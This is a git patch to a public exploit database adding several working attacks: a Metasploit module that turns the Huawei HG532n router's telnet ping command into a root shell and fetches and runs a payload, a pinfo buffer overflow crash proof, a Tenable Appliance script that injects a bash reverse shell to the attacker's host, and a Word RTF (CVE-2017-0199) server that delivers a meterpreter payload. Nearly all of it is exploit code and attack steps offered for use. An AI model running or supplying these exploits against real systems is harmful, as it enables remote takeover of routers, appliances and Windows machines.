From 3c86b861c2caa8ffbe01a6ef8426da0be65f72de Mon Sep 17 00:00:00 2001 From: Offensive Security Date: Wed, 19 Apr 2017 05:01:17 +0000 Subject: [PATCH] DB: 2017-04-19 4 new exploits Microsoft Windows - Uncredentialed SMB RCE (MS17-010) (Metasploit) Microsoft Windows - Unauthenticated SMB Remote Code Execution (MS17-010) (Metasploit) pinfo 0.6.9 - Local Buffer Overflow Tenable Appliance < 4.5 - Unauthenticated Remote Root Code Execution Microsoft Word - .RTF Remote Code Execution Huawei HG532n - Command Injection (Metasploit) --- files.csv | 6 +- platforms/hardware/remote/41895.rb | 535 +++++++++++++++++++++++++++++ platforms/linux/dos/41893.txt | 141 ++++++++ platforms/linux/local/9844.py | 2 +- platforms/linux/remote/41892.sh | 54 +++ platforms/windows/remote/41894.py | 132 +++++++ 6 files changed, 868 insertions(+), 2 deletions(-) create mode 100755 platforms/hardware/remote/41895.rb create mode 100755 platforms/linux/dos/41893.txt create mode 100755 platforms/linux/remote/41892.sh create mode 100755 platforms/windows/remote/41894.py diff --git a/files.csv b/files.csv index a1e8e4507..5e7787243 100644 --- a/files.csv +++ b/files.csv @@ -5469,7 +5469,8 @@ id,file,description,date,author,platform,type,port 41869,platforms/multiple/dos/41869.html,"Apple WebKit - 'JSC::SymbolTableEntry::isWatchable' Heap Buffer Overflow",2017-04-11,"Google Security Research",multiple,dos,0 41879,platforms/windows/dos/41879.txt,"Microsoft Windows Kernel - 'win32k.sys' Multiple Issues 'NtGdiGetDIBitsInternal' System Call",2017-04-13,"Google Security Research",windows,dos,0 41880,platforms/windows/dos/41880.cpp,"Microsoft Windows Kernel - 'win32kfull!SfnINLPUAHDRAWMENUITEM' Stack Memory Disclosure",2017-04-13,"Google Security Research",windows,dos,0 -41891,platforms/windows/dos/41891.rb,"Microsoft Windows - Uncredentialed SMB RCE (MS17-010) (Metasploit)",2017-04-17,"Sean Dillon",windows,dos,445 +41891,platforms/windows/dos/41891.rb,"Microsoft Windows - Unauthenticated SMB Remote Code Execution (MS17-010) (Metasploit)",2017-04-17,"Sean Dillon",windows,dos,445 +41893,platforms/linux/dos/41893.txt,"pinfo 0.6.9 - Local Buffer Overflow",2017-04-18,"Nassim Asrir",linux,dos,0 3,platforms/linux/local/3.c,"Linux Kernel 2.2.x / 2.4.x (RedHat) - 'ptrace/kmod' Privilege Escalation",2003-03-30,"Wojciech Purczynski",linux,local,0 4,platforms/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Buffer Overflow",2003-04-01,Andi,solaris,local,0 12,platforms/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,linux,local,0 @@ -15448,6 +15449,9 @@ id,file,description,date,author,platform,type,port 41861,platforms/linux/remote/41861.py,"Quest Privilege Manager 6.0.0 - Arbitrary File Write",2017-04-10,m0t,linux,remote,0 41872,platforms/hardware/remote/41872.py,"Cisco Catalyst 2960 IOS 12.2(55)SE11 - 'ROCEM' Remote Code Execution",2017-04-12,"Artem Kondratenko",hardware,remote,23 41874,platforms/hardware/remote/41874.py,"Cisco Catalyst 2960 IOS 12.2(55)SE1 - 'ROCEM' Remote Code Execution",2017-04-12,"Artem Kondratenko",hardware,remote,0 +41892,platforms/linux/remote/41892.sh,"Tenable Appliance < 4.5 - Unauthenticated Remote Root Code Execution",2017-04-18,agix,linux,remote,8000 +41894,platforms/windows/remote/41894.py,"Microsoft Word - .RTF Remote Code Execution",2017-04-18,"Bhadresh Patel",windows,remote,0 +41895,platforms/hardware/remote/41895.rb,"Huawei HG532n - Command Injection (Metasploit)",2017-04-19,Metasploit,hardware,remote,0 14113,platforms/arm/shellcode/14113.txt,"Linux/ARM - setuid(0) & execve(_/bin/sh___/bin/sh__0) Shellcode (38 bytes)",2010-06-29,"Jonathan Salwan",arm,shellcode,0 13241,platforms/aix/shellcode/13241.txt,"AIX - execve /bin/sh Shellcode (88 bytes)",2004-09-26,"Georgi Guninski",aix,shellcode,0 13242,platforms/bsd/shellcode/13242.txt,"BSD - Passive Connection Shellcode (124 bytes)",2000-11-19,Scrippie,bsd,shellcode,0 diff --git a/platforms/hardware/remote/41895.rb b/platforms/hardware/remote/41895.rb new file mode 100755 index 000000000..b93fcf46c --- /dev/null +++ b/platforms/hardware/remote/41895.rb @@ -0,0 +1,535 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'base64' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HttpServer + include Msf::Exploit::EXE + + def initialize(info = {}) + super(update_info( + info, + 'Name' => 'Huawei HG532n Command Injection', + 'Description' => %q( + This module exploits a command injection vulnerability in the Huawei + HG532n routers provided by TE-Data Egypt, leading to a root shell. + + The router's web interface has two kinds of logins, a "limited" user:user + login given to all customers and an admin mode. The limited mode is used + here to expose the router's telnet port to the outside world through NAT + port-forwarding. + + With telnet now remotely accessible, the router's limited "ATP command + line tool" (served over telnet) can be upgraded to a root shell through + an injection into the ATP's hidden "ping" command. + ), + 'Author' => + [ + 'Ahmed S. Darwish ', # Vulnerability discovery, msf module + ], + 'License' => MSF_LICENSE, + 'Platform' => ['linux'], + 'Arch' => ARCH_MIPSBE, + 'Privileged' => true, + 'DefaultOptions' => + { + 'PAYLOAD' => 'linux/mipsbe/mettle_reverse_tcp' + }, + 'Targets' => + [ + [ + 'Linux mipsbe Payload', + { + 'Arch' => ARCH_MIPSBE, + 'Platform' => 'linux' + } + ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Apr 15 2017', + 'References' => [ + ['URL', 'https://github.com/rapid7/metasploit-framework/pull/8245'] + ] + )) + register_options( + [ + OptString.new('HttpUsername', [false, 'Valid web-interface user-mode username', 'user']), + OptString.new('HttpPassword', [false, 'Web-interface username password', 'user']), + OptString.new('TelnetUsername', [false, 'Valid router telnet username', 'admin']), + OptString.new('TelnetPassword', [false, 'Telnet username password', 'admin']), + OptAddress.new('DOWNHOST', [false, 'Alternative host to request the MIPS payload from']), + OptString.new('DOWNFILE', [false, 'Filename to download, (default: random)']), + OptInt.new("ListenerTimeout", [true, "Number of seconds to wait for the exploit to connect back", 60]) + ], self.class + ) + end + + def check + httpd_fingerprint = %r{ + \A + HTTP\/1\.1\s200\sOK\r\n + CACHE-CONTROL:\sno-cache\r\n + Date:\s.*\r\n + Connection:\sKeep-Alive\r\n + Content-Type:\stext\/html\r\n + Content-Length:\s\d+\r\n + \r\n + \n\n + \r\n + \n + \n + + }x + + begin + res = send_request_raw( + 'method' => 'GET', + 'uri' => '/' + ) + rescue ::Rex::ConnectionError + print_error("#{rhost}:#{rport} - Could not connect to device") + return Exploit::CheckCode::Unknown + end + + if res && res.code == 200 && res.to_s =~ httpd_fingerprint + return Exploit::CheckCode::Appears + end + + Exploit::CheckCode::Unknown + end + + # + # The Javascript code sends all passwords in the form: + # form.setAction('/index/login.cgi'); + # form.addParameter('Username', Username.value); + # form.addParameter('Password', base64encode(SHA256(Password.value))); + # Do the same base64 encoding and SHA-256 hashing here. + # + def hash_password(password) + sha256 = OpenSSL::Digest::SHA256.hexdigest(password) + Base64.encode64(sha256).gsub(/\s+/, "") + end + + # + # Without below cookies, which are also sent by the JS code, the + # server will consider even correct HTTP requests invalid + # + def generate_web_cookie(admin: false, session: nil) + if admin + cookie = 'FirstMenu=Admin_0; ' + cookie << 'SecondMenu=Admin_0_0; ' + cookie << 'ThirdMenu=Admin_0_0_0; ' + else + cookie = 'FirstMenu=User_2; ' + cookie << 'SecondMenu=User_2_1; ' + cookie << 'ThirdMenu=User_2_1_0; ' + end + + cookie << 'Language=en' + cookie << "; #{session}" unless session.nil? + cookie + end + + # + # Login to the router through its JS-based login page. Upon a successful + # login, return the keep-alive HTTP session cookie + # + def web_login + cookie = generate_web_cookie(admin: true) + + # On good passwords, the router redirect us to the /html/content.asp + # homepage. Otherwise, it throws us back to the '/' login page. Thus + # consider the ASP page our valid login marker + invalid_login_marker = "var pageName = '/'" + valid_login_marker = "var pageName = '/html/content.asp'" + + username = datastore['HttpUsername'] + password = datastore['HttpPassword'] + + res = send_request_cgi( + 'method' => 'POST', + 'uri' => '/index/login.cgi', + 'cookie' => cookie, + 'vars_post' => { + 'Username' => username, + 'Password' => hash_password(password) + } + ) + fail_with(Failure::Unreachable, "Connection timed out") if res.nil? + + unless res.code == 200 + fail_with(Failure::NotFound, "Router returned unexpected HTTP code #{res.code}") + end + + return res.get_cookies if res.body.include? valid_login_marker + + if res.body.include? invalid_login_marker + fail_with(Failure::NoAccess, "Invalid web interface credentials #{username}:#{password}") + else + fail_with(Failure::UnexpectedReply, "Neither valid or invalid login markers received") + end + end + + # + # The telnet port is filtered by default. Expose it to the outside world + # through NAT forwarding + # + def expose_telnet_port(session_cookies) + cookie = generate_web_cookie(session: session_cookies) + + external_telnet_port = rand(32767) + 32768 + + portmapping_page = '/html/application/portmapping.asp' + valid_port_export_marker = "var pageName = '#{portmapping_page}';" + invalid_port_export_marker = /var ErrInfo = \d+/ + + res = send_request_cgi( + 'method' => 'POST', + 'uri' => '/html/application/addcfg.cgi', + 'cookie' => cookie, + 'headers' => { 'Referer' => "http://#{rhost}#{portmapping_page}" }, + 'vars_get' => { + 'x' => 'InternetGatewayDevice.WANDevice.1.WANConnectionDevice.1.WANPPPConnection.1.PortMapping', + 'RequestFile' => portmapping_page + }, + 'vars_post' => { + 'x.PortMappingProtocol' => "TCP", + 'x.PortMappingEnabled' => "1", + 'x.RemoteHost' => "", + 'x.ExternalPort' => external_telnet_port.to_s, + 'x.ExternalPortEndRange' => external_telnet_port.to_s, + 'x.InternalClient' => "192.168.1.1", + 'x.InternalPort' => "23", + 'x.PortMappingDescription' => Rex::Text.rand_text_alpha(10) # Minimize any possible conflict + } + ) + fail_with(Failure::Unreachable, "Connection timed out") if res.nil? + + unless res.code == 200 + fail_with(Failure::NotFound, "Router returned unexpected HTTP code #{res.code}") + end + + if res.body.include? valid_port_export_marker + print_good "Telnet port forwarding succeeded; exposed telnet port = #{external_telnet_port}" + return external_telnet_port + end + + if res.body.match? invalid_port_export_marker + fail_with(Failure::Unknown, "Router reported port-mapping error. " \ + "A port-forwarding entry with same external port (#{external_telnet_port}) already exist?") + end + + fail_with(Failure::UnexpectedReply, "Port-forwarding failed: neither valid or invalid markers received") + end + + # + # Cover our tracks; don't leave the exposed router's telnet port open + # + def hide_exposed_telnet_port(session_cookies) + cookie = generate_web_cookie(session: session_cookies) + portmapping_page = '/html/application/portmapping.asp' + + # Gather a list of all existing ports forwarded so we can purge them soon + res = send_request_cgi( + 'method' => 'GET', + 'uri' => portmapping_page, + 'cookie' => cookie + ) + + unless res && res.code == 200 + print_warning "Could not get current forwarded ports from web interface" + end + + # Collect existing port-forwarding keys; to be passed to the delete POST request + portforward_key = /InternetGatewayDevice\.WANDevice\.1\.WANConnectionDevice\.1\.WANPPPConnection\.1\.PortMapping\.\d+/ + vars_post = {} + res.body.scan(portforward_key).uniq.each do |key| + vars_post[key] = "" + end + + res = send_request_cgi( + 'method' => 'POST', + 'uri' => '/html/application/del.cgi', + 'cookie' => cookie, + 'headers' => { 'Referer' => "http://#{rhost}#{portmapping_page}" }, + 'vars_get' => { 'RequestFile' => portmapping_page }, + 'vars_post' => vars_post + ) + return if res && res.code == 200 + + print_warning "Could not re-hide exposed telnet port" + end + + # + # Cleanup our state, after any successful web login. Note: router refuses + # more than 3 concurrent logins from the same IP. It also forces a 1-minute + # delay after 3 unsuccessful logins from _any_ IP. + # + def web_logout(session_cookies) + cookie = generate_web_cookie(admin: true, session: session_cookies) + + res = send_request_cgi( + 'method' => 'POST', + 'uri' => '/index/logout.cgi', + 'cookie' => cookie, + 'headers' => { 'Referer' => "http://#{rhost}/html/main/logo.html" } + ) + return if res && res.code == 200 + + print_warning "Could not logout from web interface. Future web logins may fail!" + end + + # + # Don't leave web sessions idle for too long (> 1 second). It triggers the + # HTTP server's safety mechanisms and make it refuse further operations. + # + # Thus do all desired web operations in chunks: log in, do our stuff (passed + # block), and immediately log out. The router's own javescript code handles + # this by sending a refresh request every second. + # + def web_operation + begin + cookie = web_login + yield cookie + ensure + web_logout(cookie) unless cookie.nil? + end + end + + # + # Helper method. Used for waiting on telnet banners and prompts. + # Always catch the ::Timeout::Error exception upon calling this. + # + def read_until(sock, timeout, marker) + received = '' + Timeout.timeout(timeout) do + loop do + r = (sock.get_once(-1, 1) || '') + next if r.empty? + + received << r + print_status "Received new reply token = '#{r.strip}'" if datastore['VERBOSE'] == true + return received if received.include? marker + end + end + end + + # + # Borrowing constants from Ruby's Net::Telnet class (ruby license) + # + IAC = 255.chr # "\377" # "\xff" # interpret as command + DO = 253.chr # "\375" # "\xfd" # please, you use option + OPT_BINARY = 0.chr # "\000" # "\x00" # Binary Transmission + OPT_ECHO = 1.chr # "\001" # "\x01" # Echo + OPT_SGA = 3.chr # "\003" # "\x03" # Suppress Go Ahead + OPT_NAOFFD = 13.chr # "\r" # "\x0d" # Output Formfeed Disposition + + def telnet_auth_negotiation(sock, timeout) + begin + read_until(sock, timeout, 'Password:') + sock.write(IAC + DO + OPT_ECHO + IAC + DO + OPT_SGA) + rescue ::Timeout::Error + fail_with(Failure::UnexpectedReply, "Expected first password banner not received") + end + + begin + read_until(sock, timeout, 'Password:') # Router bug + sock.write(datastore['TelnetPassword'] + OPT_NAOFFD + OPT_BINARY) + rescue ::Timeout::Error + fail_with(Failure::UnexpectedReply, "Expected second password banner not received") + end + end + + def telnet_prompt_wait(error_regex = nil) + begin + result = read_until(@telnet_sock, @telnet_timeout, @telnet_prompt) + if error_regex + error_regex = [error_regex] unless error_regex.is_a? Array + error_regex.each do |regex| + if result.match? regex + fail_with(Failure::UnexpectedReply, "Error expression #{regex} included in reply") + end + end + end + rescue ::Timeout::Error + fail_with(Failure::UnexpectedReply, "Expected telnet prompt '#{@telnet_prompt}' not received") + end + end + + # + # Basic telnet login. Due to mixins conflict, revert to using plain + # Rex sockets (thanks @hdm!) + # + def telnet_login(port) + print_status "Connecting to just-exposed telnet port #{port}" + + @telnet_prompt = 'HG520b>' + @telnet_timeout = 60 + + @telnet_sock = Rex::Socket.create_tcp( + 'PeerHost' => rhost, + 'PeerPort' => port, + 'Context' => { 'Msf' => framework, 'MsfExploit' => self }, + 'Timeout' => @telnet_timeout + ) + if @telnet_sock.nil? + fail_with(Failure::Unreachable, "Exposed telnet port unreachable") + end + add_socket(@telnet_sock) + + print_good "Connection succeeded. Passing telnet credentials" + telnet_auth_negotiation(@telnet_sock, @telnet_timeout) + + print_good "Credentials passed; waiting for prompt '#{@telnet_prompt}'" + telnet_prompt_wait + + print_good 'Prompt received. Telnet access fully granted!' + end + + def telnet_exit + return if @telnet_sock.nil? + @telnet_sock.write('exit' + OPT_NAOFFD + OPT_BINARY) + end + + # + # Router's limited ATP shell just reverts to classical Linux + # shell when executing a ping: + # + # "ping %s > /var/res_ping" + # + # A successful injection would thus substitute all its spaces to + # ${IFS}, and trails itself with ";true" so it can have its own + # IO redirection. + # + def execute_command(command, error_regex = nil, background: false) + print_status "Running command on target: #{command}" + + command.gsub!(/\s/, '${IFS}') + separator = background ? '&' : ';' + atp_cmd = "ping ?;#{command}#{separator}true" + + @telnet_sock.write(atp_cmd + OPT_NAOFFD + OPT_BINARY) + telnet_prompt_wait(error_regex) + print_good "Command executed successfully" + end + + # + # Our own HTTP server, for serving the payload + # + def start_http_server + @pl = generate_payload_exe + + downfile = datastore['DOWNFILE'] || rand_text_alpha(8 + rand(8)) + resource_uri = '/' + downfile + + if datastore['DOWNHOST'] + print_status "Will not start local web server, as DOWNHOST is already defined" + else + print_status("Starting web server; hosting #{resource_uri}") + start_service( + 'ServerHost' => '0.0.0.0', + 'Uri' => { + 'Proc' => proc { |cli, req| on_request_uri(cli, req) }, + 'Path' => resource_uri + } + ) + end + + resource_uri + end + + # + # HTTP server incoming request callback + # + def on_request_uri(cli, _request) + print_good "HTTP server received request. Sending payload to victim" + send_response(cli, @pl) + end + + # + # Unfortunately we could not use the `echo' command stager since + # the router's busybox echo does not understand the necessary + # "-en" options. It outputs them to the binary instead. + # + # We could not also use the `wget' command stager, as Huawei + # crafted their own implementation with much different params. + # + def download_and_run_payload(payload_uri) + srv_host = + if datastore['DOWNHOST'] + datastore['DOWNHOST'] + elsif datastore['SRVHOST'] == "0.0.0.0" || datastore['SRVHOST'] == "::" + Rex::Socket.source_address(rhost) + else + datastore['SRVHOST'] + end + + srv_port = datastore['SRVPORT'].to_s + output_file = "/tmp/#{rand_text_alpha_lower(8)}" + + # Check module documentation for the special wget syntax + wget_cmd = "wget -g -v -l #{output_file} -r #{payload_uri} -P#{srv_port} #{srv_host}" + + execute_command(wget_cmd, [/cannot connect/, /\d+ error/]) # `404 error', etc. + execute_command("chmod 700 #{output_file}", /No such file/) + execute_command(output_file, /not found/, background: true) + execute_command("rm #{output_file}", /No such file/) + end + + # + # At the end of the module, especially for reverse_tcp payloads, wait for + # the payload to connect back to us. There's a very high probability we + # will lose the payload's signal otherwise. + # + def wait_for_payload_session + print_status "Waiting for the payload to connect back .." + begin + Timeout.timeout(datastore['ListenerTimeout']) do + loop do + break if session_created? + Rex.sleep(0.25) + end + end + rescue ::Timeout::Error + fail_with(Failure::Unknown, "Timeout waiting for payload to start/connect-back") + end + print_good "Payload connected!" + end + + # + # Main exploit code: login through web interface; port-forward router's + # telnet; access telnet and gain root shell through command injection. + # + def exploit + print_status "Validating router's HTTP server (#{rhost}:#{rport}) signature" + unless check == Exploit::CheckCode::Appears + fail_with(Failure::Unknown, "Unable to validate device fingerprint. Is it an HG532n?") + end + + print_good "Good. Router seems to be a vulnerable HG532n device" + + telnet_port = nil + web_operation do |cookie| + telnet_port = expose_telnet_port(cookie) + end + + begin + telnet_login(telnet_port) + payload_uri = start_http_server + download_and_run_payload(payload_uri) + wait_for_payload_session + ensure + telnet_exit + web_operation do |cookie| + hide_exposed_telnet_port(cookie) + end + end + end +end \ No newline at end of file diff --git a/platforms/linux/dos/41893.txt b/platforms/linux/dos/41893.txt new file mode 100755 index 000000000..8c501702a --- /dev/null +++ b/platforms/linux/dos/41893.txt @@ -0,0 +1,141 @@ +# Title: pinfo v0.6.9 - Local Buffer Overflow +# Author: Nassim Asrir +# Researcher at: Henceforth +# Author contact: wassline@gmail.com || https://www.linkedin.com/in/nassim-asrir-b73a57122/ +# CVE: N/A + +# Download # + +$ apt-get install pinfo + +# POC # + +For any Question or discussion about this vuln: https://www.facebook.com/asrirnassim/ + +$ pinfo -m `python -c 'print "A"*600'` +Przemek's Info Viewer v0.6.9 +Looking for man page... + +Caught signal 11, bye! +Segmentation fault + + +# GDB Output # + +$ gdb pinfo + +(gdb) r -m `python -c 'print "A"*600'` + +Program received signal SIGSEGV, Segmentation fault. +__GI_getenv (name=0x7ffff79831aa "RM") at getenv.c:84 +84 getenv.c: No such file or directory. + +(gdb) info registers +rax 0x54 84 +rbx 0x4141414141414141 4702111234474983745 <==== +rcx 0x1a8 424 +rdx 0x10 16 +rsi 0x7fffffffdaae 140737488345774 +rdi 0x7ffff79831a8 140737347334568 +rbp 0x7fffffffe0a8 0x7fffffffe0a8 +rsp 0x7fffffffda90 0x7fffffffda90 +r8 0x0 0 +r9 0x20 32 +r10 0x1ec 492 +r11 0x7ffff796c630 140737347241520 +r12 0x4554 17748 +r13 0x4 4 +r14 0x2 2 +r15 0x7ffff79831aa 140737347334570 +rip 0x7ffff73c911d 0x7ffff73c911d <__GI_getenv+173> +eflags 0x10206 [ PF IF RF ] +cs 0x33 51 +ss 0x2b 43 +ds 0x0 0 +es 0x0 0 +fs 0x0 0 +gs 0x0 0 + +(gdb) where +#0 __GI_getenv (name=0x7ffff79831aa "RM") at getenv.c:84 +#1 0x00007ffff796c661 in initscr () from /lib/x86_64-linux-gnu/libncursesw.so.5 +#2 0x000055555556214a in ?? () +#3 0x000055555555f165 in ?? () +#4 0x0000555555557552 in ?? () +#5 0x4141414141414141 in ?? () +#6 0x4141414141414141 in ?? () +#7 0x4141414141414141 in ?? () +#8 0x4141414141414141 in ?? () +#9 0x4141414141414141 in ?? () +#10 0x4141414141414141 in ?? () +#11 0x4141414141414141 in ?? () +#12 0x4141414141414141 in ?? () +#13 0x4141414141414141 in ?? () +#14 0x4141414141414141 in ?? () +#15 0x4141414141414141 in ?? () +#16 0x4141414141414141 in ?? () +#17 0x4141414141414141 in ?? () +#18 0x4141414141414141 in ?? () +#19 0x4141414141414141 in ?? () +#20 0x4141414141414141 in ?? () +#21 0x4141414141414141 in ?? () +#22 0x4141414141414141 in ?? () +#23 0x4141414141414141 in ?? () +#24 0x4141414141414141 in ?? () +#25 0x4141414141414141 in ?? () +#26 0x4141414141414141 in ?? () +#27 0x4141414141414141 in ?? () +#28 0x4141414141414141 in ?? () +#29 0x4141414141414141 in ?? () +#30 0x4141414141414141 in ?? () +#31 0x4141414141414141 in ?? () +#32 0x4141414141414141 in ?? () +#33 0x4141414141414141 in ?? () +#34 0x4141414141414141 in ?? () +#35 0x4141414141414141 in ?? () +#36 0x4141414141414141 in ?? () +#37 0x4141414141414141 in ?? () +#38 0x4141414141414141 in ?? () +#39 0x4141414141414141 in ?? () +#40 0x4141414141414141 in ?? () +#41 0x00007fffffff0020 in ?? () +#42 0x00007fffffffebaa in ?? () +---Type to continue, or q to quit--- +#43 0x00007fffffffebc2 in ?? () +#44 0x00007fffffffebd6 in ?? () +#45 0x00007fffffffebe1 in ?? () +#46 0x00007fffffffec07 in ?? () +#47 0x00007fffffffec18 in ?? () +#48 0x00007fffffffec48 in ?? () +#49 0x00007fffffffec52 in ?? () +#50 0x00007fffffffec73 in ?? () +#51 0x00007fffffffec7d in ?? () +#52 0x00007fffffffec86 in ?? () +#53 0x00007fffffffec91 in ?? () +#54 0x00007fffffffeca4 in ?? () +#55 0x00007fffffffecb7 in ?? () +#56 0x00007fffffffeccc in ?? () +#57 0x00007fffffffed08 in ?? () +#58 0x00007fffffffed33 in ?? () +#59 0x00007fffffffed58 in ?? () +#60 0x00007fffffffed63 in ?? () +#61 0x00007fffffffed74 in ?? () +#62 0x00007fffffffed84 in ?? () +#63 0x00007fffffffed8f in ?? () +#64 0x00007fffffffedc3 in ?? () +#65 0x00007fffffffeddc in ?? () +#66 0x00007fffffffee0d in ?? () +#67 0x00007fffffffee30 in ?? () +#68 0x00007fffffffee3f in ?? () +#69 0x00007fffffffee47 in ?? () +#70 0x00007fffffffee59 in ?? () +#71 0x00007fffffffee75 in ?? () +#72 0x00007fffffffee82 in ?? () +#73 0x00007fffffffeeb5 in ?? () +#74 0x00007fffffffeed1 in ?? () +#75 0x00007fffffffeeee in ?? () +#76 0x00007fffffffef28 in ?? () +#77 0x00007fffffffef97 in ?? () +#78 0x0000000000000000 in ?? () + + diff --git a/platforms/linux/local/9844.py b/platforms/linux/local/9844.py index efce5b4ac..1b19ed417 100755 --- a/platforms/linux/local/9844.py +++ b/platforms/linux/local/9844.py @@ -16,7 +16,7 @@ while (i == 0): while (x == 0): time.sleep(random.random()) #random int 0.0-1.0 pid = str(os.system("ps -efl | grep 'sleep 1' | grep -v grep | { read PID REST ; echo $PID; }")) - if (pid == 0): #need an active pid, race condition applies + if (pid == "0"): #need an active pid, race condition applies print "[+] Didnt grab PID, got: " + pid + " -- Retrying..." break else: diff --git a/platforms/linux/remote/41892.sh b/platforms/linux/remote/41892.sh new file mode 100755 index 000000000..da4e24311 --- /dev/null +++ b/platforms/linux/remote/41892.sh @@ -0,0 +1,54 @@ +#!/bin/bash +: ' +According to http://static.tenable.com/prod_docs/upgrade_appliance.html they +fixed two security vulnerabilities in the web interface in release 4.5 so I +guess previous version are also vulnerable. + +# Exploit Title: Unauthenticated remote root code execution on Tenable Appliance +# Date: 18/04/17 +# Exploit Author: agix +# Vendor Homepage: https://www.tenable.com/ +# Version: < 4.5 +# Tested on: Tenable Appliance 3.5 + +tenable $ ./rce.sh +bash: no job control in this shell +bash-3.2# ls +app +appliancelicense.html +appliancelicense.pdf +appliancelicense.txt +images +includes +index.ara +js +lcelicense.html +lcelicense.pdf +lcelicense.txt +migrate +nessuslicense.html +nessuslicense.pdf +nessuslicense.txt +password.ara +pvslicense.html +pvslicense.pdf +pvslicense.txt +sclicense.html +sclicense.pdf +sclicense.txt +simpleupload.py +static +bash-3.2# id +uid=0(root) gid=0(root) +bash-3.2# +' + +#!/bin/bash + +TENABLE_IP="172.16.171.179" +YOUR_IP="172.16.171.1" +LISTEN_PORT=31337 + + +curl -k "https://$TENABLE_IP:8000/simpleupload.py" --data $'returnpage=/&action=a&tns_appliance_session_token=61:62&tns_appliance_session_user=a"\'%0abash -i >%26 /dev/tcp/'$YOUR_IP'/'$LISTEN_PORT' 0>%261%0aecho '& +nc -l -p $LISTEN_PORT diff --git a/platforms/windows/remote/41894.py b/platforms/windows/remote/41894.py new file mode 100755 index 000000000..5748a0078 --- /dev/null +++ b/platforms/windows/remote/41894.py @@ -0,0 +1,132 @@ +''' +# Exploit Title: Exploit CVE-2017-0199 (Word RTF RCE) vulnerability to gain meterpreter shell +# Date: 17/04/2017 +# Exploit Author: Bhadresh Patel +# Version: Microsoft Office 2007 SP3, Microsoft Office 2010 SP2, Microsoft Office 2013 SP1, Microsoft Office 2016, Microsoft Windows Vista SP2, Windows Server 2008 SP2, Windows 7 SP1, Windows 8.1. +# CVE : CVE-2017-0199 + +This is an article with video tutorial and tool to gain a meterpreter shell by exploiting CVE-2017-0199 (Word RTF RCE) vulnerability. + +Video tutorial + +https://youtu.be/ymLVH5avkZw + +Steps + +Step-1) Create a malicious RTF +- Start a webserver on attacker machine +- Open MS Office word and insert an innocent remote doc file (innocent.doc) as an object +- Save the file as RTF +- Modify RTF to inject \objupdate control +- Stop the webserver on attacker machine +- Share this RTF file with victim + +Step-2) Create a meterpreter shell on attacker machine +- msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f exe > shell.exe +- Start multi handler + +Step-3) Start attacker script (server.py) +- Specify URL of meterpreter shell +- Specify location of shell + +Step-4) Victim opens the document and an attacker gets a reverse meterpreter shell +''' + +import os,sys,thread,socket + +BACKLOG = 50 # how many pending connections queue will hold +MAX_DATA_RECV = 999999 # max number of bytes we receive at once +DEBUG = True # set to True to see the debug msgs +def main(): + + # check the length of command running + if (len(sys.argv)<3): + print "Usage: python ",sys.argv[0]," " + sys.exit(1) + else: + port = int(sys.argv[1]) # port from argument + global payloadurl + global payloadlocation + payloadurl = sys.argv[2] + payloadlocation = sys.argv[3] + # host and port info. + host = '' # blank for localhost + + print "Server Running on ",host,":",port + + try: + # create a socket + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + + # associate the socket to host and port + s.bind((host, port)) + + # listenning + s.listen(BACKLOG) + + except socket.error, (value, message): + if s: + s.close() + print "Could not open socket:", message + sys.exit(1) + + # get the connection from client + while 1: + conn, client_addr = s.accept() + + # create a thread to handle request + thread.start_new_thread(server_thread, (conn, client_addr)) + + s.close() + +def printout(type,request,address): + if "Block" in type or "Blacklist" in type: + colornum = 91 + elif "Request" in type: + colornum = 92 + elif "Reset" in type: + colornum = 93 + + print "\033[",colornum,"m",address[0],"\t",type,"\t",request,"\033[0m" + +def server_thread(conn, client_addr): + + # get the request from browser + request = conn.recv(MAX_DATA_RECV) + if (len(request) > 0): + # parse the first line + first_line = request.split('\n')[0] + + # get method + method = first_line.split(' ')[0] + # get url + url = first_line.split(' ')[1] + check_exe_request = url.find('.exe') + if (check_exe_request > 0): + print "Received request for payload from "+client_addr[0] + size = os.path.getsize(payloadlocation) + data = "HTTP/1.1 200 OK\r\nDate: Sun, 16 Apr 2017 18:56:41 GMT\r\nServer: Apache/2.4.25 (Debian)\r\nLast-Modified: Sun, 16 Apr 2017 16:56:22 GMT\r\nAccept-Ranges: bytes\r\nContent-Length: "+str(size)+"\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: application/x-msdos-program\r\n\r\n" + with open(payloadlocation) as fin: + data +=fin.read() + conn.send(data) + conn.close() + sys.exit(1) + if method in ['GET', 'get']: + print "Received GET method from "+client_addr[0] + data = "HTTP/1.1 200 OK\r\nDate: Sun, 16 Apr 2017 17:11:03 GMT\r\nServer: Apache/2.4.25 (Debian)\r\nLast-Modified: Sun, 16 Apr 2017 17:30:47 GMT\r\nAccept-Ranges: bytes\r\nContent-Length: 315\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: application/hta\r\n\r\n\r\n" + conn.send(data) + conn.close() + if method in ['OPTIONS', 'options']: + print "Receiver OPTIONS method from "+client_addr[0] + data = "HTTP/1.1 200 OK\r\nDate: Sun, 16 Apr 2017 17:47:14 GMT\r\nServer: Apache/2.4.25 (Debian)\r\nAllow: OPTIONS,HEAD,GET\r\nContent-Length: 0\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: text/html" + conn.send(data) + conn.close() + if method in ['HEAD', 'head']: + print "Received HEAD method from "+client_addr[0] + data = "HTTP/1.1 200 OK\r\nDate: Sun, 16 Apr 2017 17:11:03 GMT\r\nServer: Apache/2.4.25 (Debian)\r\nLast-Modified: Sun, 16 Apr 2017 17:30:47 GMT\r\nAccept-Ranges: bytes\r\nContent-Length: 315\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: application/doc\r\n\r\n" + conn.send(data) + conn.close() + sys.exit(1) + +if __name__ == '__main__': + main()